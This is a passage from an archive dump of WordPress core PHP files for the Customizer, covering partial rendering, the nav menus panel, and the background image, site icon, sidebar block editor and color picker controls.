		 * @param WP_Customize_Partial $partial           WP_Customize_Setting instance.
		 * @param array                $container_context Optional array of context data associated with
		 *                                                the target container.
		 */
		$rendered = apply_filters( 'customize_partial_render', $rendered, $partial, $container_context );

		/**
		 * Filters partial rendering for a specific partial.
		 *
		 * The dynamic portion of the hook name, `$partial->ID` refers to the partial ID.
		 *
		 * @since 4.5.0
		 *
		 * @param string|array|false   $rendered          The partial value. Default false.
		 * @param WP_Customize_Partial $partial           WP_Customize_Setting instance.
		 * @param array                $container_context Optional array of context data associated with
		 *                                                the target container.
		 */
		$rendered = apply_filters( "customize_partial_render_{$partial->id}", $rendered, $partial, $container_context );

		return $rendered;
	}

	/**
	 * Default callback used when invoking WP_Customize_Control::render().
	 *
	 * Note that this method may echo the partial *or* return the partial as
	 * a string or array, but not both. Output buffering is performed when this
	 * is called. Subclasses can override this with their specific logic, or they
	 * may provide an 'render_callback' argument to the constructor.
	 *
	 * This method may return an HTML string for straight DOM injection, or it
	 * may return an array for supporting Partial JS subclasses to render by
	 * applying to client-side templating.
	 *
	 * @since 4.5.0
	 *
	 * @param WP_Customize_Partial $partial Partial.
	 * @param array                $context Context.
	 * @return string|array|false
	 */
	public function render_callback( WP_Customize_Partial $partial, $context = array() ) {
		unset( $partial, $context );
		return false;
	}

	/**
	 * Retrieves the data to export to the client via JSON.
	 *
	 * @since 4.5.0
	 *
	 * @return array Array of parameters passed to the JavaScript.
	 */
	public function json() {
		$exports = array(
			'settings'           => $this->settings,
			'primarySetting'     => $this->primary_setting,
			'selector'           => $this->selector,
			'type'               => $this->type,
			'fallbackRefresh'    => $this->fallback_refresh,
			'containerInclusive' => $this->container_inclusive,
		);
		return $exports;
	}

	/**
	 * Checks if the user can refresh this partial.
	 *
	 * Returns false if the user cannot manipulate one of the associated settings,
	 * or if one of the associated settings does not exist.
	 *
	 * @since 4.5.0
	 *
	 * @return bool False if user can't edit one of the related settings,
	 *                    or if one of the associated settings does not exist.
	 */
	final public function check_capabilities() {
		if ( ! empty( $this->capability ) && ! current_user_can( $this->capability ) ) {
			return false;
		}
		foreach ( $this->settings as $setting_id ) {
			$setting = $this->component->manager->get_setting( $setting_id );
			if ( ! $setting || ! $setting->check_capabilities() ) {
				return false;
			}
		}
		return true;
	}
}
class-wp-customize-nav-menus-panel.php000064400000006013152331005320014024 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menus_Panel class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Nav Menus Panel Class
 *
 * Needed to add screen options.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Panel
 */
class WP_Customize_Nav_Menus_Panel extends WP_Customize_Panel {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'nav_menus';

	/**
	 * Render screen options for Menus.
	 *
	 * @since 4.3.0
	 */
	public function render_screen_options() {
		// Adds the screen options.
		require_once ABSPATH . 'wp-admin/includes/nav-menu.php';
		add_filter( 'manage_nav-menus_columns', 'wp_nav_menu_manage_columns' );

		// Display screen options.
		$screen = WP_Screen::get( 'nav-menus.php' );
		$screen->render_screen_options( array( 'wrap' => false ) );
	}

	/**
	 * Returns the advanced options for the nav menus page.
	 *
	 * Link title attribute added as it's a relatively advanced concept for new users.
	 *
	 * @since 4.3.0
	 * @deprecated 4.5.0 Deprecated in favor of wp_nav_menu_manage_columns().
	 */
	public function wp_nav_menu_manage_columns() {
		_deprecated_function( __METHOD__, '4.5.0', 'wp_nav_menu_manage_columns' );
		require_once ABSPATH . 'wp-admin/includes/nav-menu.php';
		return wp_nav_menu_manage_columns();
	}

	/**
	 * An Underscore (JS) template for this panel's content (but not its container).
	 *
	 * Class variables for this panel class are available in the `data` JS object;
	 * export custom variables by overriding WP_Customize_Panel::json().
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Panel::print_template()
	 */
	protected function content_template() {
		?>
		<li class="panel-meta customize-info accordion-section <# if ( ! data.description ) { #> cannot-expand<# } #>">
			<button type="button" class="customize-panel-back" tabindex="-1">
				<span class="screen-reader-text"><?php _e( 'Back' ); ?></span>
			</button>
			<div class="accordion-section-title">
				<span class="preview-notice">
					<?php
					/* translators: %s: The site/panel title in the Customizer. */
					printf( __( 'You are customizing %s' ), '<strong class="panel-title">{{ data.title }}</strong>' );
					?>
				</span>
				<button type="button" class="customize-help-toggle dashicons dashicons-editor-help" aria-expanded="false">
					<span class="screen-reader-text"><?php _e( 'Help' ); ?></span>
				</button>
				<button type="button" class="customize-screen-options-toggle" aria-expanded="false">
					<span class="screen-reader-text"><?php _e( 'Menu Options' ); ?></span>
				</button>
			</div>
			<# if ( data.description ) { #>
			<div class="description customize-panel-description">{{{ data.description }}}</div>
			<# } #>
			<div id="screen-options-wrap">
				<?php $this->render_screen_options(); ?>
			</div>
		</li>
		<?php
		// NOTE: The following is a workaround for an inability to treat (and thus label) a list of sections as a whole.
		?>
		<li class="customize-control-title customize-section-title-nav_menus-heading"><?php _e( 'Menus' ); ?></li>
		<?php
	}
}
class-wp-customize-background-image-setting.php000064400000000774152331005320015700 0ustar00<?php
/**
 * Customize API: WP_Customize_Background_Image_Setting class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customizer Background Image Setting class.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Setting
 */
final class WP_Customize_Background_Image_Setting extends WP_Customize_Setting {
	public $id = 'background_image_thumb';

	/**
	 * @since 3.4.0
	 *
	 * @param $value
	 */
	public function update( $value ) {
		remove_theme_mod( 'background_image_thumb' );
	}
}
class-wp-customize-site-icon-control.php000064400000006327152331005320014376 0ustar00<?php
/**
 * Customize API: WP_Customize_Site_Icon_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Site Icon control class.
 *
 * Used only for custom functionality in JavaScript.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Cropped_Image_Control
 */
class WP_Customize_Site_Icon_Control extends WP_Customize_Cropped_Image_Control {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'site_icon';

	/**
	 * Constructor.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Control::__construct()
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      Control ID.
	 * @param array                $args    Optional. Arguments to override class property defaults.
	 *                                      See WP_Customize_Control::__construct() for information
	 *                                      on accepted arguments. Default empty array.
	 */
	public function __construct( $manager, $id, $args = array() ) {
		parent::__construct( $manager, $id, $args );
		add_action( 'customize_controls_print_styles', 'wp_site_icon', 99 );
	}

	/**
	 * Renders a JS template for the content of the site icon control.
	 *
	 * @since 4.5.0
	 */
	public function content_template() {
		?>
		<# if ( data.label ) { #>
			<span class="customize-control-title">{{ data.label }}</span>
		<# } #>
		<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
		<# } #>

		<# if ( data.attachment && data.attachment.id ) { #>
			<div class="attachment-media-view">
				<# if ( data.attachment.sizes ) { #>
					<div class="site-icon-preview wp-clearfix">
						<div class="favicon-preview">
							<img src="<?php echo esc_url( admin_url( 'images/' . ( is_rtl() ? 'browser-rtl.png' : 'browser.png' ) ) ); ?>" class="browser-preview" width="182" alt="" />

							<div class="favicon">
								<img src="{{ data.attachment.sizes.full ? data.attachment.sizes.full.url : data.attachment.url }}" alt="<?php esc_attr_e( 'Preview as a browser icon' ); ?>" />
							</div>
							<span class="browser-title" aria-hidden="true"><# print( '<?php echo esc_js( get_bloginfo( 'name' ) ); ?>' ) #></span>
						</div>
						<img class="app-icon-preview" src="{{ data.attachment.sizes.full ? data.attachment.sizes.full.url : data.attachment.url }}" alt="<?php esc_attr_e( 'Preview as an app icon' ); ?>" />
					</div>
				<# } #>
				<div class="actions">
					<# if ( data.canUpload ) { #>
						<button type="button" class="button remove-button"><?php echo $this->button_labels['remove']; ?></button>
						<button type="button" class="button upload-button"><?php echo $this->button_labels['change']; ?></button>
					<# } #>
				</div>
			</div>
		<# } else { #>
			<div class="attachment-media-view">
				<# if ( data.canUpload ) { #>
					<button type="button" class="upload-button button-add-media"><?php echo $this->button_labels['site_icon']; ?></button>
				<# } #>
				<div class="actions">
					<# if ( data.defaultAttachment ) { #>
						<button type="button" class="button default-button"><?php echo $this->button_labels['default']; ?></button>
					<# } #>
				</div>
			</div>
		<# } #>
		<?php
	}
}
class-wp-sidebar-block-editor-control.php000064400000001256152331005320014445 0ustar00<?php
/**
 * Customize API: WP_Sidebar_Block_Editor_Control class.
 *
 * @package WordPress
 * @subpackage Customize
 * @since 5.8.0
 */

/**
 * Core class used to implement the widgets block editor control in the
 * customizer.
 *
 * @since 5.8.0
 *
 * @see WP_Customize_Control
 */
class WP_Sidebar_Block_Editor_Control extends WP_Customize_Control {
	/**
	 * The control type.
	 *
	 * @since 5.8.0
	 *
	 * @var string
	 */
	public $type = 'sidebar_block_editor';

	/**
	 * Render the widgets block editor container.
	 *
	 * @since 5.8.0
	 */
	public function render_content() {
		// Render an empty control. The JavaScript in
		// @wordpress/customize-widgets will do the rest.
	}
}
class-wp-customize-color-control.php000064400000005772152331005320013625 0ustar00<?php
/**
 * Customize API: WP_Customize_Color_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Color Control class.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Color_Control extends WP_Customize_Control {
	/**
	 * Type.
	 *
	 * @var string
	 */
	public $type = 'color';

	/**
	 * Statuses.
	 *
	 * @var array
	 */
	public $statuses;

	/**
	 * Mode.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	public $mode = 'full';

	/**
	 * Constructor.
	 *
	 * @since 3.4.0
	 *
	 * @see WP_Customize_Control::__construct()
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      Control ID.
	 * @param array                $args    Optional. Arguments to override class property defaults.
	 *                                      See WP_Customize_Control::__construct() for information
	 *                                      on accepted arguments. Default empty array.
	 */
	public function __construct( $manager, $id, $args = array() ) {
		$this->statuses = array( '' => __( 'Default' ) );
		parent::__construct( $manager, $id, $args );
	}

	/**
	 * Enqueue scripts/styles for the color picker.
	 *
	 * @since 3.4.0
	 */
	public function enqueue() {
		wp_enqueue_script( 'wp-color-picker' );
		wp_enqueue_style( 'wp-color-picker' );
	}

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 3.4.0
	 * @uses WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();
		$this->json['statuses']     = $this->statuses;
		$this->json['defaultValue'] = $this->setting->default;
		$this->json['mode']         = $this->mode;
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 *
	 * @since 3.4.0
	 */
	public function render_content() {}

	/**
	 * Render a JS template for the content of the color picker control.
	 *
	 * @since 4.1.0
	 */
	public function content_template() {
		?>
		<# var defaultValue = '#RRGGBB', defaultValueAttr = '',
			isHueSlider = data.mode === 'hue';
		if ( data.defaultValue && _.isString( data.defaultValue ) && ! isHueSlider ) {
			if ( '#' !== data.defaultValue.substring( 0, 1 ) ) {
				defaultValue = '#' + data.defaultValue;
			} else {
				defaultValue = data.defaultValue;
			}
			defaultValueAttr = ' data-default-color=' + defaultValue; // Quotes added automatically.
		} #>
		<# if ( data.label ) { #>
			<span class="customize-control-title">{{{ data.label }}}</span>
		<# } #>
		<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
		<# } #>
		<div class="customize-control-content">
			<label><span class="screen-reader-text">{{{ data.label }}}</span>
			<# if ( isHueSlider ) { #>
				<input class="color-picker-hue" type="text" data-type="hue" />
			<# } else { #>
				<input class="color-picker-hex" type="text" maxlength="7" placeholder="{{ defaultValue }}" {{ defaultValueAttr }} />
			<# } #>
			</label>
		</div>
		<?php
	}
}